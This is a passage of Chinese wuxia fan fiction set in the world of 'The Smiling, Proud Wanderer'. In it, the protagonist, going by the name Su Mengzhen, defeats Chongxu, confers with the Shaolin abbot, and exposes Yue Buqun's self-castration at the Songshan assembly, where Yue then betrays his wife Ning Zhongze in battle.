随即陈子云便消失在了众人面前,当然他不是真的消失,而是在用众人几乎跟不上的速度移动着,围着冲虚制造出来的光圈移动。 在场的除了方证、方生、跟当事人冲虚之外,所有的其他人只能看到一些模糊的人影在绕着那些神奇的剑光奔跑。 要不是少林寺戒律严明,说不定这些已经有些发颤的棍僧,就会被吓得丢了棍子跑了。 不管是无尽的光圈,还是缥缈如烟的幻影,都不是他们这个层次能理解的。 “阿弥陀佛。” 方生不由得唱了一声佛号,他如今岂能不知,刚才的苏梦枕明显是对他放水了的。 “叮。” “叮叮。” “叮叮......” 刚开始是一声,随即蹦出一颗火花。 接着是两声,同样蹦出了两颗火花。 最终却是刀剑之间接连不断的碰撞,而火花已经形成了一个火圈,就跟在那幻影的身后,把光圈都围在了里面。 此时的少林寺外,众僧看到了千年难得的奇景,一个老道的周身都是光圈,而光圈的外层却是一个火圈。 如果有凡人路过,有人告诉他是这位道人修炼有成,正在飞升,想必十个凡人里起码有九个会信。 可这样的奇景并没有持续多久,随着一声有些刺耳的金属断裂之声,火圈与光圈同时消失了,如果不是空气中弥漫的丝丝异味,好似就像是从来不曾出现过的一样。 陈子云深吸了一口气,有些心疼的看了一眼相思,随即松了一口气,好在没有什么损伤。 冲虚却是愣愣的看着自己手中的长剑,这把剑虽然不是武当真正的太极剑,可也是难得的宝剑了,竟然就这般断了。 可随即他也只能一叹,用手袖子擦拭了一番头上满脸的汗水。 “哎,苏少侠,你赢了。” “冲虚道长,这次苏某是趁了手中宝刀之利,而不是真的在功夫上胜了道长,武当的太极剑法也是果真神妙,攻守一体,确实破无可破。” “如此老道就承少侠的情了。” 冲虚听苏梦枕如此维护他的尊严,也不由得脸色好看了不少。 “阿弥陀佛,冲虚道长的武当剑法高深莫测,苏少侠以此年纪能有如此神功,天下第一也是实至名归。 两位憨斗一场,肯定都是疲乏了,且到寺里歇息喝茶,也好让老衲一尽地主之谊。” 方证大师此时走到了两人中间做起了和事老。 “如此就多谢方证大师了,苏某已然见识了少林武当的神功妙法,如果还能再领略一番少室山的美景,也就不枉在下此行了。” 陈子云也不愿在这个时候驳了方证大师的面子。 方证大师领着,陈子云、冲虚道长还有方生大师三人都一起进了自己的方丈之内。 亲自点香煮茶,招待几人。 几人从江湖武林开始讲,讲到了各派更替兴旺,又延伸到家国天下,朝代的更替,黎民百姓的苦厄难离。 “古往今来,不管是这江湖还是朝堂,终究逃不过分散离乱,又重新兴盛的古怪循环。” 方证说道。 “不错,可这兴亡交替之间,苦的却还是那些无力反抗的普通百姓。” 冲虚道长叹息道。 “两位前辈,果然慈悲。” 陈子云只是附和了一声。 “不过苏少侠却是做了一件好事?” 方证大师笑着道。 “还请大师明言相告。” 陈子云道。 “那就是拿了魔教东方不败那天下第一的名头,这就好比抽了这魔教的脊椎骨。老衲听闻,现今各地的魔教分舵都低调了不少,也不知免了多少人的苦厄,苏少侠此举功德无量。” 方证大师道。 “哦,大师真是如此看的?” “自然,少侠有何疑虑?” “那为何我听说,此次五岳并派打出了一个旗号,就是要‘屠苏’?” “这个......” 方证大师显然也是知道这个消息的,但是在苏梦枕上少林之前,他也只当是五岳剑派自己的事,并不想过多干预。 “苏少侠,此间是不是有些误会,要是如此,老道愿意出面与五岳剑派的诸位掌门说明一番,免得伤了和气。” 冲虚道长道。 第四十五章 禅房合议 “多谢道长好意,不过这件事怕不是道长几句话就能说和的,如今魔教一下子没了东方不败跟任我行两座大山。 已经很难给五岳剑派并派之后产生威胁,而我这个新进的天下第一自然就是最好的目标。 为了让新成立的门派有个足够强大的外敌,以免面和心不和的五岳剑派内部龌龊,这‘屠苏’倒是不得不为的。” 陈子云喝着茶悠然的分析道。 “原来苏施主已经看破了其中关键,阿弥陀佛。” 方证大师道。 “对于江湖之中的蝇营狗苟,苏某其实并不关心,只是嵩山派在衡山城跟福州的行为,就已经很明显的说明了左冷禅的野心。 如此机关算尽,无非就是为了促成五岳剑派的合并,到时候凭着他的威势与武功,这剑派掌门一位自然是囊中之物。” 陈子云微微一笑道。 “哎,少侠所说不错,就怕这位一旦坐上了这掌门之位,对于权位的野心更加膨胀,到时候怕就非武林之福了。” 冲虚道长叹道。 “一品当朝为宰相,还想山河夺帝基。人心要是能轻易知足,这天下如何会有离乱纷争。 恐怕一旦等左冷禅合并了五岳剑派,对付苏某势在必行。” 陈子云说道此处用眼睛瞟了两位掌门人一眼道:“下一步,恐怕就是计划着怎么对付少林武当,好让着五岳剑派雄霸江湖了。” 方证大师与冲虚道长对陈子云的发言并不惊讶,显然这样的事情也在他们的预料之内。 “阿弥陀佛。” 方证念了一句,满脸是慈悲。 “江湖血腥就在眼前,到时候不知多少豪杰要为此埋骨荒野。” 冲虚道长也是大为不忍。 “难道面对如此场面,大师与道长就没做什么应对?” 陈子云目光灼灼的盯着两人问道。 “这......” 冲虚道长迟疑的看了方证大师一眼,见对方点头才继续说道:“我们曾与如今的恒山掌门令狐冲少侠商议,希望他能当上这个五岳剑派的掌门人。” “令狐冲?哈哈哈,要是让这个浪荡子当上了掌门,这五岳剑派,就可以改为五岳酒楼了,哈哈哈。” 陈子云不由得哈哈大笑。 冲虚跟方证也是一脸的无奈,他们也知道令狐冲确实有些不着调,可纵观整个五岳实在是找不出一个更合适的人来。 “咳咳,虽然令狐掌门有些好酒贪杯浮滑无行,但为害不大。总比那些野心勃勃之人,要好的多。 而且如果是令狐冲做了掌门: 第一,因为他是小辈弟子,自然不会欺压五岳剑派的前辈耆宿与门人弟子。 第二,因为他与魔教的关系,也不会大动干戈,想去灭了魔教。 第三,既然不用与魔教对抗,自然也就不用想着壮大势力,吞并峨眉青城,少林武当。” 冲虚道。 “呵呵呵,冲虚道长,怕是这最后一点才是至关紧要的吧?” 陈子云笑着戏谑问道。 “阿弥陀佛,老衲与道长如此打算,虽说是为江湖同道造福,一半也是自私自利。 老衲虽是出家之人,可少林这千年的传承,如何舍得断送在老衲手上,还请苏施主见谅。” 方证大师道。 “见谅见谅。” 陈子云不住的点头。 “既然儒家讲的要守家国天下,和尚自然也要顾虑大寺小庙,人之常情,理解理解。” 陈子云又是一杯茶水喝下。 “真是好茶啊!” ...... 陈子云在少室山上盘桓了许久,将山上的美景与少林的风韵都欣赏了个遍,又尝到了山林寺滋味无比的斋菜,最后又在布置极佳的厢房住了一夜,方证大师当真是给足了面子。 可惜,陈子云从他后面的话里话外,还是能感觉的出来。这位方证大师不止一次在暗示他,最好他能出手破坏者一次五岳并派,或者是能帮着令狐冲登上掌门的宝座。 可惜啊,虽然方证大师跟冲虚道长都算得上是人精,可他们终究还是算漏了一个人,他们没有彻底看破岳不群那深藏的心机。 也意识不到,他们现在要对付的第一号人物不是手段略显粗糙的左冷禅,而是黄雀在后的岳不群。 如果这位能再隐忍一些,想办法把令狐冲重新收回手中,到时候他们辟邪剑法也独孤九剑齐攻,说不定就真能称霸江湖。 可惜啊,令狐冲那浪荡子,命中注定要与他师傅犯冲。 陈子云慢悠悠的在嵩山脚下晃荡,这时候嵩山脚下的城镇也是热闹非凡,各路江湖人士齐聚。 有些是五岳剑派的,有些则是被请来观礼的,换句话说也可能是嵩山派请来助拳的。 偶然之间,陈子云却是看见了夹在华山派人流中的林平之,不过此时的他一身花花绿绿,不由得就让陈子云想起了东方不败那有些恶心人的场景。 虽然林平之的小白脸比东方不败好上不少,可那青白的面容,好似故意勾过的眉毛却更是让人觉得不寒而栗。 “辟邪啊辟邪,真当是邪气的很。” 反观带头的岳不群,虽然胡须稀少了些,但是起码在外观上还是一派的君子气度,这卖相就上层了不少。 而紧跟在后的一老一少两位人妇,面色都不怎么好。一个是已经知道了自己丈夫成了太监的宁中则,一个是明明已经嫁为人妇,却还是黄花闺女的岳灵珊。 母女都是可怜人啊! 陈子云随便找了客栈,就与华山这伙人错开了,他不想在这嵩山脚下与他们起冲突,到时候等人凑齐了一齐收拾不是更方便。 如此一连等了两日,等到了三月十五正日,混在一帮江湖小帮派的人群里,就混上了嵩山绝顶。 这些小门派可不像五岳诸派,也没有人专门的理会他们。实际上除了每人手上都带着兵器,要不然这些人放在人群里也看不出是不是江湖人物。 嵩山派自然也不会有这么多弟子,把所有的来宾都关照的面面俱到,这些礼仪都是留给江湖上那些有名望的人的。 如今的嵩山封禅台下,少说也已经汇聚了不下千人,何况还有络绎不绝的人流往上涌来。 第四十六章 嵩山封禅台 陈子云到的时候,只听得左冷禅已经在叽里呱啦的开始了演说,对此他并不感兴趣,只是一步步在人群里往前挪动。 等离的中间近了,便听到有两个年老的声音在说什么“配不配当掌门”的狗屁话。 抢掌门之位抢到别人的山头上来了,要是自己是这两人的祖师爷,一定气的从棺材里跳出来,先灭这两个不孝子弟再说。 等他彻底看到了中间的情形,却见得,一个麻衣汉子正揪着一个魁梧道士的道髻,正打算抬手抽着个道人巴掌。 而这个道人好像是被对方点中了穴道,竟然连动弹都动弹不了。 “嘿嘿,有意思,这道士想必就是天门了,也是个十足的蠢货。” 陈子云虽然心里这么想着,可手上却是从衣袖上捻下一块碎布,屈指一弹,直接打在天门的穴道上。 天门道人瞬时一动,也不管那麻衣汉子此时的一只手还在自己的百汇要穴上捉着,对着那人的胸口就是一掌。 天门道人此时心里只想着,自己不但被自己的师叔诈夺了掌门之位,竟然还被一个不知姓名的江湖小辈给制止了穴道。 在五岳同道面前是何等的难堪、羞愤,此时竟然是不敢不顾的要和着羞辱他的麻衣汉子拼个两败俱伤。 天门这一掌来的突兀,那麻衣汉子也是万万没想到,自己明明点了对方的穴道,怎么就被挣脱开了。 可这麻衣汉子也是个心智坚决的,见自己已经来不及回防,索性就直接用力一掌朝着天门道人的百汇穴拍下。 群雄只听得咔咔两声,随即天门道人跟那麻衣汉子同时喷血倒地。 那麻衣汉子中了天门道人一掌,半个胸口都塌陷了下去,可见天门这一掌的威力。 而天门道人在头顶要穴中了对方一掌,此时也是满脸的鲜血,双目紧闭,不知生死。 天门座下众弟子齐叫“师父”,抢去相扶,又是灌药,又是探脉。这也是天门道人修炼的道家功夫,内息悠长,功力又比那麻衣汉子高深不少,才勉强留得性命,可这幅摸样,这封禅台是待不下去了。 众弟子赶紧抬着自己的师父往山下的医馆而去,当然也管不到这什么五岳并派了。 陈子云也没有再关注这江湖上最悲催的掌门天门道人,刚才的出手也不过是随性而为,更多的还是看那个所谓的‘青海一枭’不顺眼。 像天门这种人,脾气暴躁又过于刚正,遇事容易意气用事。这样的人当个马前卒,或者骁勇的先锋还可以,当一派掌门,简直就是一个门派的灾难。 看现在泰山派中只有几个他自己的弟子出来维护他就知道,他这种掌门眼里容不得沙子,在其他弟子看来就是刻薄寡恩,如何能让他们信服。 而且那个玉玑子虽然手段龌龊了些,但是他的选择并派的决定其实算不上错。 自从左冷禅这个五岳盟主计划开始实行五岳并派的那天,其实结果基本就已经注定了。 除非他们泰山派有抵抗嵩山派的实力,否则作为五岳盟主的嵩山派要拿捏一个人才凋零的泰山派实在太容易了。 难道衡山城,刘正风的金盆洗手大会不就是做给各个其他门派看的吗?既然左冷禅能用这样的手段对付衡山派,为什么就不能用来对付泰山派。 至于说什么勾结魔教,这种事情嵩山派随便派遣一些收编的左道中人假扮一番还不简单。 况且,嵩山派在对付华山派跟恒山派的时候不是都已经这样做了吗? 所以,为什么单单没有用这样的手段对付泰山派,想必是当时左冷禅已经跟玉玑子商量好了对策。能用兵不血刃的办法收编泰山派,这自然是更好。 所以从另一个方面讲,玉玑子的这些龌龊行为,其实也是保护了泰山派。要知道,不管是华山派还是恒山派,要不是令狐冲这个家伙的插手,说不定现在就只剩个名头了。 那日韦林镇的破庙之中,还有那龙泉铸剑谷内,嵩山派可是奔着灭这两派门去的。 所以说,秦王合六国也好,嵩山并四派也罢,不过是阐释了一个同样的真理——落后就要挨打。 至于说是抵抗到底,还是顺应形式抢先投靠,那只能是各凭本事,至于最后是存是灭,都要自己受着。 陈子云冷眼看着在桃谷六仙以及背后那位圣姑的引导之下,场面终于还是到了比剑夺帅的份上。 至于中间发生的,左冷禅一剑将玉玑子的四肢给削断的场面,陈子云心中一点波澜都没起。 他也觉得,要是被那桃谷六仙那几个疯子继续捉着,说不定他们真的会把人撕成四块。 以这六人的智商,陈子云可不信,任盈盈能在这种生死关头都能掌控他们的所有行为。 后面陈子云看着岳灵珊那练得还不算很是熟练的各派剑招,真是觉得有些无语,此时恐怕就是福州金风细雨楼里的那些半大孩子都比她熟练一些。 泰山派的玉音子也是着实窝囊,就因为看见了几招似是而非的泰山派剑招,就在比剑的时候魂不守舍,这样的比试如何能不输。 至于衡山莫大,则是输的有些蹊跷,更像是故意相让。 虽然说岳灵珊最后的使出的两招,是魔教十长老用来破衡山派剑法的奇招。 可以他这把年纪,这么多年的江湖交战经验,难道就真的没有碰到过有对手研究他们衡山派剑法而想出来的破招吗? 这世界上又不是只有魔教十长老才长脑子,而且岳灵珊的功力又怎么与他这位修行数十年的老人相比。 这一次的认输,明显是自知衡山派挡不住左冷禅的针对,索性赶紧退出这场相争。 不过想想这位莫大先生在处理刘正风金盆洗手时的表现也就明白了,明明早就到了衡山城,却眼睁睁的看着自己师弟全家被杀。 虽然最后他也杀了费斌,可那又有什么用。如果他当时能出面,以衡山派掌门的身份说一句话,就算保不住刘正风这个犯了众怒的师弟,起码能留下刘家的一丝血脉来。 从这件事情就可以看出,他当时肯定是害怕势大的嵩山派会用这件事情来压迫他们衡山派,不得不避嫌,退让。 可这份退让的心思一起,嵩山派也就看出了衡山派的虚实,便再也不把他这个只知道躲躲藏藏的衡山派掌门放在眼里了。 一个退让惯的人,遇到问题,脑子里的第一个冒出来的念头就是要怎么保全自身,这也就是莫大选择输给岳灵珊的原因。 只有如此,他们衡山派就不用夹在声势庞大的嵩山派跟如今变得神秘莫测的华山派之间为难了。 第四十七章 比剑 接着就是令狐冲跟岳灵珊的尴尬剑舞了,先是两人都亮了几首恒山派的剑法,可这剑法在陈子云看来也是使得软弱不堪,毫无力道。 至于后面,那什么“青梅如豆”“柳叶似眉”接着又有“雨后乍逢”“雨后乍逢”,到最后竟然还来一招剑尖相撞的“同生共死”。 看的陈子云直接落下一地的鸡皮疙瘩,这哪里是什么“冲灵剑法”,还不如叫“眉来眼去剑法”更合适。 也不知道这林平之看了这一场剑舞之后,是什么感想,不对,这小子后面杀了岳灵珊怕是也有今天这场比试的原因。 至于那位原本霸道的魔教圣姑是如何说服自己忍下来的,陈子云不由得很是好奇。难道爱上令狐冲这么一个江湖浪荡子,就真的让她失了智? 陈子云不由得往衡山派那些大小尼姑在的地方打量了几眼,可惜这位圣姑的易容水平不差,他愣是找不到对方。 这最后一场好戏自然就是岳不群与左冷禅的对垒,可惜左冷禅自觉掌控了一切,却不知连自己得到的《辟邪剑谱》都是假的,是岳不群故意让劳德诺偷去的。 虽然前面的时候,左冷禅还能占到优势,甚至还打落了岳不群的长剑。可一旦岳不群使出了那如鬼似魅的辟邪身法,他也就只能落得个双眼全瞎的下场。 看着左冷禅还在封禅台上,瞎着眼睛狂舞,连想上去帮忙的弟子史登达和狄修也被误杀,实在是,呵呵,活该。 谁叫他,明知道岳不群是个伪君子,还不想办法提前做了他呢! “大丈夫言而有信!既说是比剑夺帅,各凭本身武功争胜,岳先生武功远胜左某,大伙儿自当奉他为掌门,岂可更有异言?” 左冷禅这话倒是有几分枭雄的意思,可惜啊,今天这赤壁大败,就怕是没了曹操一般复起的机会了。 “左掌门好气魄,岳掌门也是好功夫,苏梦枕在此恭贺。” 陈子云从人群里缓缓走出,笑着说道。 不管台上台下,见一袭儒装,突兀的出现在封禅台上的年轻书生皆是诧异。 “苏梦枕,就是那个夺命书生吗?” “什么夺命书生,现在这位可是胜了东方不败的天下第一了。” “啊,天下第一,这天下还有比魔教教主更厉害的人物?” “兄台,你是多久没在江湖里混了?” “嘿嘿,小弟刚入江湖不久。只听得家里前辈说过,魔教教主东方不败的名头。” “嘿。” 那人上下打量着一番,自己旁边这个看着像农夫躲过像侠客的年轻人,不由得摇摇头。 岳不群见突然出现的苏梦枕也是满心戒备,可又想着,自己已然胜了左冷禅,如今更是五岳剑派的掌门。在这嵩山之上,就算是这苏梦枕功夫再高,难道还能以一敌千不成。 随即岳不群淡然的开口说道:“苏少侠,不知此时莅临我五岳剑派,所谓何事?” “何事?岳掌门,你这刚登临这五岳剑派的掌门,就把你们这次并派聚会的口号给忘了。 那就由苏某来提醒一番,你们五岳剑派的可是打着要‘屠苏’的口号的。” 陈子云笑嘻嘻的看着脸上急剧变化的岳不群道。 岳不群瞥了一眼如今正被自己弟子搀扶着的左冷禅,眼神不由得有些寒意,这“屠苏”,本来就是嵩山派搞出来了。 他们嵩山派多人死在这苏梦枕的手上,自然是恨不得能除之而后快,这却是与华山派关系不大。 可到了如今,他岳不群既然已是五岳剑派的掌门,不管是为了完成这并派前已经放出去的话,还是为了消除苏梦枕这一位天下第一的大敌,今天他也不会让苏梦枕活着下山。 “方证大师,冲虚道长,这位苏梦枕多次无故杀害我五岳剑派中人,更是抢走了我弟子林平之家传的《辟邪剑谱》。 仗此武功在江湖中也不知害死了多少豪杰,如今这魔头竟然敢胆大包天,上我五岳嵩山前来挑衅,更是不把天下豪杰放在眼里。 还请两位同我五岳剑派,一齐拿下此人,为枉死者报仇,为江湖同道除害。” 岳不群对着上首的两位就是一拜到底。 这话有些让方证跟冲虚坐蜡,因为岳不群说的苏梦枕杀的人确实是事实。 至于《辟邪剑谱》,林平之当时在福州也是一口咬定是苏梦枕拿的,有这个苦主在,而苏梦枕的武功又却是诡异轻灵,就是官老爷也只能如此认定。 “不错,两位大师,小子林平之可以作证,确实是这苏梦枕偷了我家传的剑谱。” 林平之那阴柔声音也跟着帮腔。 陈子云转头对着那不男不女的小白脸裂齿一笑,到时候再收拾你小子。 “屠苏,屠苏。” 下面五岳剑派徒众的与来看热闹的众人也开始起哄要喝。 陈子云只是淘淘自己耳朵,这些个浑噩之众,连让他看上一眼的资格都没有。 不过倒是嵩山派那些个不怀好意的冷冽目光,让陈子云稍稍留意了一下。 心想,要不要索性直接就解决了这些家伙,省的以后给福州的金风细雨楼和曲非烟留下隐患。 令狐冲则是有些担忧看着苏梦枕,他上一次见到苏梦枕还是在黑木崖上,那时候苏梦枕匆匆而走,可那个被他留下来的受了重伤的东方不败却是在他们几人的围攻下还杀了任我行。 他有些不敢想象,苏梦枕是如何在对方全盛的时候,还能把东方不败伤成那样的,令狐冲心里满满的都是忌惮。 可反过来说,如果不是这位先上了黑木崖与东方不败大战一场,不但伤了对方,还消耗了他不少内力。 他们几人怕是都要死在东方不败的手上,哪里还有现在他跟任盈盈的浓情惬意。 从这方面讲,令狐冲又觉得自己欠了对方一个大大的人情。 “阿弥陀佛,岳掌门,苏少侠,老衲与冲虚道长,一个念佛,一个修道,本希望这世间没有纷争最好。 苏少侠与五岳剑派只见的恩恩怨怨若是能化为玉帛,老衲与道长自然都高兴当个见证,可是若要刀兵相见,实在非我二人所愿。” 大和尚的话总结起来就是一句:你们的事,别拖我们下水。 第四十八章 公之于众 这让岳不群有些不解,因为他现在可不是单单一个华山派掌门,而是代表五岳剑派跟少林武当在说话。 难道方证跟冲虚真的不明白,自己的五岳剑派的势力已经不输他们少林武当了。而自己的地位自然是要跟他们平齐的,怎么自己开口,还能如此不给面子。 岳不群当然不知道,苏梦枕已经在前几天上过了少林,而两位见识过他的武功之后自然也知道。 凭借苏梦枕那迅如雷电的身法,就算五岳剑派人多势众,也不一定就能留得下他。 而且说到底,五岳剑派如今俨然成为了不输他们两家的江湖势力,要是能起一些波折,对他们而言未必不是一件好事。 “岳掌门,看来两位前辈不怎么愿意帮你啊,如今你又要如何对付苏某?” 陈子云的语气里是满满的挑衅之意。 岳不群看了陈子云一眼,若有所思的道:“如此,那便只能......” 所有人都在等他说出后面的话,却不料话还没说出口,一道鬼魅般的人影却是已经闪到了陈子云的近处。 大多数人都没明白这是如何做到的,这速度比刚才岳不群跟左冷禅对战的时候还快了一分。 岳不群手中的钢针罩住了陈子云周身要害,眼睛,脖子,心脏,只要有一处被这些钢针戳中,陈子云怕是要饮恨当场。 岳不群斜嘴一笑,因为就在这须臾之间,他已经见到自己的一枚钢针已经戳在了陈子云的心口上。 就当他想再用一份力将这跟钢针,整根的戳进去的时候,手上却没有办分刺入人体的受力之感。 “不好。” 岳不群看着消散在自己眼前的虚影,双目突出,无法相信自己戳中的竟然只是陈子云留下的幻影,这是什么样的速度? 不仅是岳不群惊叹不已,在台下的那些江湖人已然觉得是看到了神仙之流。 “怎么又多出了一个苏梦枕?” 这是大多数人共同的疑惑,看着封禅台上两个苏梦枕,所有人恍如梦中。 “阿弥陀佛,苏施主的身法,已然若神迹。” 连方证大师跟冲虚道长也被陈子云的这一手给惊到了。 当初在少林寺山门前,还能依稀看到此人的身法轨迹,此时却真的如瞬移一般,呼吸之间,人仿佛已在千里之外。 “岳掌门,你太慢了。” 陈子云带着满脸的笑意说道。 更让岳不群受不了的事,陈子云此时竟然敢背对这他的。 “魔头,狂妄。” 岳不群此时的语调就像是树上的老鸦一般尖锐难听,可见他也是真的被激怒了。 抬手就射出两根飞针,一根对准的是陈子云的眉心,另一根却是预判在他可能移动的下一步的移动位置上。 “岳掌门,你可知道,东方不败练的也是这般的功夫,不过你的飞针比起他的来,可是差的太多了。” 这句话岳不群是又气又惊,气的是对方竟然如此托大,在应付自己的时候竟然还敢开口说话。 可让他更惊的是,对方即使开口说话了,却还是轻松的躲过了自己势在必得的两针。 可这时候也容不得他迟疑,两针又是两针,这四针飞出,岳不群有自信,就是少林方证跟武当冲虚也不见得能躲开。 “啧啧,辟邪啊辟邪,岳掌门你不觉得你练的这剑法,牺牲有些大吗?” 陈子云依旧没有还手,只是一刀挑开了四根飞针。 “住口。” 岳不群被说中心中疼处,直接朝着陈子云合身扑去。 “任大小姐,你应该是见过东方不败的真身的,为何不告诉令狐冲,练了这《葵花宝典》跟《辟邪剑谱》的男人是个什么摸样的?哈哈哈!” 陈子云在出刀抵挡岳不群的间隙,竟然还能得空说笑。 “找死?” 岳不群此时已经青筋暴起,整个人的面孔都变的狰狞。 就连在台下的林平之也是满目凶光。 “盈盈,他,他是什么意思?” 令狐冲有些不安的看向任盈盈,其实以他的聪明,在见过东方不败的摸样,加上自己师父神情的变化之后,怎么会猜不到。 可是岳不群在他心目中的形象实在是太坚固了,他不但是令狐冲的师父,也是抚养他长大的父亲。如何让一个儿子接受自己本来完美的父亲,会做出这样恶心的事情。 “冲哥。” 任盈盈眼神闪躲,她自然也知道岳不群在令狐冲心中的地位,那些脏话又怎么能从她口中说出了。 “倒是苏某的不是了,任大小姐毕竟是女流,如何能说出那般肮脏不堪的言语,还是苏某自己来说吧。” “不行。” “住口。” “你敢。” 却是令狐冲,岳不群,林平之三人同时开口喝止。 可陈子云正在兴头上,又怎么会听他们的。 “哈哈哈哈,各位听着,不论是《葵花宝典》还是《辟邪剑谱》,其中最为关键的一句,便是‘欲练神功,引刀自宫’。 左掌门,你练的辟邪剑法,想必就是少了这一句关窍吧,才被岳掌门刚好克制了。” 陈子云这话一出,群雄哗然,所有人的目光都在岳不群跟左冷禅身上打量。 “阿弥陀佛。” 就连一向心境平和的方证跟冲虚两人都是大为惊怖。 宁中则听了这话则是面若死灰,她本来为了华山派的尊严,一直安慰自己,自己的师兄自宫练剑也是为了光大华山派。 可到了这时候,她也知道,华山派百年的声誉,怕是要彻底毁在他们手上了,此时她甚至有了自我了断的心思。 “不会的,怎么会,妈妈,你告诉我,爹爹他不会这么做的。” 岳灵珊一把抓住了宁中则的衣袖,吊着眼泪凄楚的问道。 宁中则瞥了一眼旁边已经退到人群后头的林平之,也是泪眼朦胧,一把搂住了自己的女儿。 “孩子,你命苦啊。” “自宫?自宫是什么宫?” 桃花仙困惑的问道。 “自宫,就是自己切了进皇宫,做太监。” 桃枝仙答道。 “这岳掌门赢了左冷禅,不是要走五岳剑派的掌门吗,他为什么还要进宫做太监?” 桃花仙还是不明白。 “没说他要进宫做太监,他只是自宫了,不是男人了。” “别说了。” 令狐冲喝道。 可桃枝仙这话像是凉水进了热油锅里,顿时人群就沸腾开了。 五岳剑派的新掌门竟然是个太监,这话要是流传到江湖上,这五岳剑派还想不想抬头做人了。 “掌门师兄,岳......岳不群用的是飞针。” 仪和这话就像是一根钢针直接戳进了令狐冲的脑子里。 第四十九章 宁中则出剑 定逸定闲两位师太就是死在这钢针之下,如今要是说这人不是岳不群杀的,就是连他这个徒弟都不信。 为什么,为什么师傅要这么做,为什么要自宫练着什么《辟邪剑谱》,为什么又要杀两位师太。 令狐冲两眼通红,无数的思绪在他的脑海中翻涌,他不是蠢人,自然不会想不明白,一切不过都是为了这五岳剑派的掌门之位吧了。 可是能想明白,不代表他就愿意接受,接受自己心目中的正人君子,变成一个欺人骗世的伪君子。 “啊!” 令狐冲大吼一声,一口鲜血直接从嘴里喷了出来,这是心里抑郁到了极致了。 “冲哥。” “掌门。” 任盈盈跟恒山派的诸位弟子,赶紧扶住令狐冲倒下的身影。 可人到他们手中是时候,已然是昏了过去,令狐冲本来就有伤在身,最忌讳心浮气躁,如此大的冲击,也难怪他如此。 “五岳剑派众弟子听令,苏梦枕此人胡言乱语,只是想诬陷于我,用心险恶,显然是邪魔所为。 众弟子随我共杀此贼,以正我正道雄风。” 岳不群到底是心机深层之辈,知道自己此时无论如何都不能承认,自己已经自宫练剑的事实,要不然他刚当上的五岳掌门就要付之流水了。 恒山派的人没人理会他,杀师之仇在前,此时不去找他麻烦已经是看在令狐冲昏迷的份上了,又怎么会听他的命令。 而泰山派,他们本来是跟着玉玑子投靠嵩山派,根本没料到岳不群最后会成为掌门,一时也没有听。 至于嵩山派,他们恨不得岳不群立刻去死,又怎么会帮他。 而衡山派,看了自己的掌门莫大先生一眼,见这位没有什么表示自然也都没有出手。 至于华山派,有人倒是想去帮自己师父的,可是却被宁中则拦下了,作为华山派的师娘,一直都是慈母般的存在,没有弟子敢不尊重她的。 而最关键的事,宁中则的这一行为,也是就几乎等于承认了,他们的师父岳不群真的是在自宫练剑,这让把自己师父当成偶像崇拜的弟子们怎么能接受。 宁中则也不是对岳不群无情无义,只是她知道这个苏梦枕到底有多厉害,让这些华山弟子上去,也不过是送死罢了。 可不让弟子去,不代表她自己不能去。把怀里还在抽泣的女儿推到一边,拔出手中的长剑就一招刺向了苏梦枕。 “好,‘无双无对,宁氏一剑’,岳夫人凭这一剑,在这江湖之中,可在女子之中称得上绝顶。” 陈子云大声的赞了一句。 “哼,江湖厮杀,什么时候分过男女,既然苏少侠此次要我与夫君为难,宁中则虽为女流,但也要跟自己夫君同进退,共对敌,还望苏少侠别怪我夫妻二人以多胜少。” 宁中则语气坚决。 “师妹。” 岳不群也是激动不已。在看到没有一人愿意听自己命令出手的时候,自己的妻子还能站出来,怎能不感动。 “师兄,不管你做错了什么,但今日你我还是夫妻,就没有让你一个人对敌的道理。” 宁中则把手中一把长剑递给了岳不群。 “师兄,我们用自家华山剑法对敌吧。” 陈子云饶有兴趣的看着变了脸色的岳不群,宁中则这是明显的在劝诫岳不群让他放弃那邪门的《辟邪剑法》,而重新用回他们自己的华山剑法啊。 可这岳不群已然为了练剑而自宫了,又怎么会舍得,陈子云此时倒是有些期待他会怎么选择。 “好,师妹,我们就用华山剑对这位苏魔头的刀法,胜败也无怨了。” 岳不群接过了宁中则的剑动情的说道。 陈子云有些不可思议的看着他,不过此时他也无暇思索了,因为两人的华山剑法已经攻了过来。 “叮叮,叮叮......” 刀与剑在空中不断的碰撞。 岳不群虽然用的是华山的剑法,可那藏在底子里的奇诡迅速的身法终究还是不同了。 可就算岳不群再快,也快不过陈子云,但是现在最让陈子云头疼的是华山女侠宁中则那不顾自己生死的剑法。 这哪里是什么华山剑法,简直就是自杀剑法,完全没有丝毫的防守。就是明知道岳不群在利用她的身体当陈子云的刀招,宁中则还是一如既往的挺身向前,直接就往他的刀尖上撞。 若是换了别的江湖人,陈子云也自然不会让着,杀了也就杀了,可要说这笑傲江湖中还有几个值得他留手的,这宁中则却是一个。 就算是任盈盈在陈子云面前,他也会毫不留情的下刀,可这位难得的女中豪杰,同样是这江湖中最可怜的女人在自己面前,他实在是有些犹豫。 宁中则有多可怜,本以为自己的丈夫是个真君子,最后却成了自宫的死太监。自己从小养大的令狐冲,因为闯祸太多被逐出门派,这跟失去一个儿子也没什么不同了。 最后自己唯一的女儿,没有跟自己看好的令狐冲在一起,反而嫁给了一个没什么用的小白脸,最后这个小白脸竟然也自宫了。 一个女人,丈夫,儿子,女儿,这本来就是她生命中最重要的东西,可如今却成了这幅德性。 是个女人都受不了了,也难怪她招招找死,宁中则恐怕现在最希望的就是能被陈子云一刀断首,结束自己悲惨不过的一生。 可岳不群不但没有劝阻自己妻子如此不顾命的打法,反而利用陈子云对自己妻子的处处留情,时不时的从刁钻的角落给陈子云出阴招。 不说陈子云了,就连台下那些看明白情形的人也是大为不耻。 “阿弥陀佛,道长,看来你我都被岳掌门骗过了。” 方证无可奈何的对旁边的冲虚说了一句。 “大师,这是非善恶颠倒,正邪对错混乱,你我又如何能尽知呢。” 冲虚也是满眼无奈。 “岳夫人,你再如此,可就别怪苏某了。” 陈子云也是被宁中则的打法给激怒了,随手一招就点在了对方执剑的手臂上,希望以此让她退出战斗。 可令所有人没想到的是,宁中则中了这一刀不但没后退,反而用左手一把抓住了陈子云的刀。 第五十章 自尽 “你.....” 陈子云也是瞠目,要知道自己的相思可是锋利无比的,宁中则这一抓,她左手的五个手指就已经断了一半。 此时只有陈子云稍微用力,宁中则的这只左手就彻底废了。 可就在陈子云犹豫的一瞬间,一把利剑从宁中则的腋下穿了出来,剑上明显已经沾了宁中则的血。 “师.....兄?” 宁中则的呼唤如杜鹃啼血般的凄厉。 “师妹,帮师兄一把,我这一切都是为了华山派啊。” 